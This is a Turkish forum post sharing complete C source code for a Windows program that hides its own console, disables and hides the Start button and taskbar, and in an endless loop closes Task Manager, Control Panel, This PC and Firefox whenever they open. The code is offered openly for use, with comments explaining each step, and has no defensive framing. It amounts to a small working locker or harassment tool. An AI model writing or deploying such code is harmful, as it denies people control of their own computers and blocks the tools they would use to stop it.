• Web sitemizin içeriğine ve tüm hizmetlerimize erişim sağlamak için Web sitemize kayıt olmalı ya da giriş yapmalısınız. Web sitemize üye olmak tamamen ücretsizdir.
  • Sohbetokey.com ile canlı okey oynamaya ne dersin? Hem sohbet et, hem mobil okey oyna!
  • Soru mu? Sorun mu? ''Bir Sorum Var?'' sistemimiz aktiftir. Paylaşın beraber çözüm üretelim.

Başlat Menüsü, Görev Çubuğu, Görev Yöneticisi Açılamaz :)

Üyelik Tarihi
7 Ocak 2015
Konular
4,091
Mesajlar
4,274
MFC Puanı
40
öncelikle HWND değişkeninini açıklayalım
HWND: Her pencerenin bir numarası vardır işte bu değişkenleo pencerenin numarasını tutar.
şimdi programdan bahsedelim programı derlediğimizde programımız gizlenir ve başlat menüsü, görev çubuğuna tıklanmaz ve gizlenirler ayrıca görev yöneticisi'ni açamaya kalktığınızda direk açılır açılmaz kapanır

-> Eğer görev çubuğu ve başlat menüsünü tekrar görünür(aktif) yapmak istiyorsanız kontrol değişkenini 1 yapınız

Kod:
-Görev Yöneticisi Açılamaz
-Başlat Menüsü Gizlenir
-Başlat Menüsünün Yetkileri Kalkar
-Görev Çubuğu Gizlenir
-Görev Çubuğunun Yetkileri Kalkar
*/

#include <windows.h>//pencere, windows değişkenleri kısacası window API'sini kullanmak için kütüphanemizi tanımlıyoruz

int Gizlen()//Gizlen fonksiyonumuz:
{
     AllocConsole();
     ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0);//Dos ekranımızı gizliyorruz 0 olursa gizlenir, 1 olursa gizlenmez
}
int main()
{
    int kontrol=0;
    Gizlen();//Gizlen fonksiyonumuzu çalıştırıyoruz
    HWND mozilla,GorevY,GorevY2,PC,CP,CP2;//değişkenlerimizi tanımlıyoruz
    HWND hGorevCubugu,hBaslat;//değişkenlerimizi tanımlıyoruz
    
    hGorevCubugu = FindWindow("Shell_TrayWnd",NULL);//Araç Çubuğunu hGorevCubugu değişkenine atanıyor
    hBaslat      = FindWindowEx(GetDesktopWindow(),NULL,"Button","Başlat");//Başlat butonu hBaslat değişkenine atanıyor
    
    EnableWindow(hBaslat,kontrol);//0 olduğu zaman hBaslat yani Başlat Menüsü'nün yetkileri kalkacak(tıklanamayacak)
    EnableWindow(hGorevCubugu,kontrol);//0 olduğu zaman hGorevCubugu yani Görev Çubuğu'nun yetkileri kalkacak(tıklanamayacak)
    
    while(1)//sonsuz döngüye alıyoruz
    {
                      mozilla = FindWindowEx(0,0,"MozillaUIWindowClass",0);//Mozilla Firefox'u mozilla değişkenine atıyoruz aşağıdaki FindWindow 
                                                                             //fonksiyonlarıdaaynı bu şekide değişkenlere atanıyor
                      GorevY = FindWindow(NULL,"Task Manager");
                      GorevY2 = FindWindow(NULL,"Windows Görev Yöneticisi");
                      PC = FindWindow(NULL, "This PC");
                      CP = FindWindow(NULL,"Control Panel");
                      CP2 = FindWindow(NULL,"Kontrol Paneli");
                      
                      PostMessage(GorevY,WM_CLOSE,(LPARAM)0,(WPARAM)0);//GorevY değişeninine yani Görev Yöneticisi' ne 0 yani Kapat komutu gönderiliyor
                                                                       //aşağıdakilerde aynı şekide        
                      PostMessage(mozilla,WM_CLOSE,(LPARAM)0,(WPARAM)0);
                      PostMessage(GorevY2,WM_CLOSE,(LPARAM)0,(WPARAM)0);
                      PostMessage(PC,WM_CLOSE,(LPARAM)0,(WPARAM)0);
                      PostMessage(CP,WM_CLOSE,(LPARAM)0,(WPARAM)0);
                      PostMessage(CP2,WM_CLOSE,(LPARAM)0,(WPARAM)0);
                      
                      ShowWindow(hBaslat,kontrol);/*hBaslat değişkeni yani Başlat Menüsü'nü
                                              1 olursa açık kalır,0 olursa kapanır*/
                      ShowWindow(hGorevCubugu,kontrol);/*hGorevCubugu değişkeni yani Görev Çubuğunu
                                              1 olursa açık kalır,0 olursa kapanır*/
    }
return 0;
}
 
Üst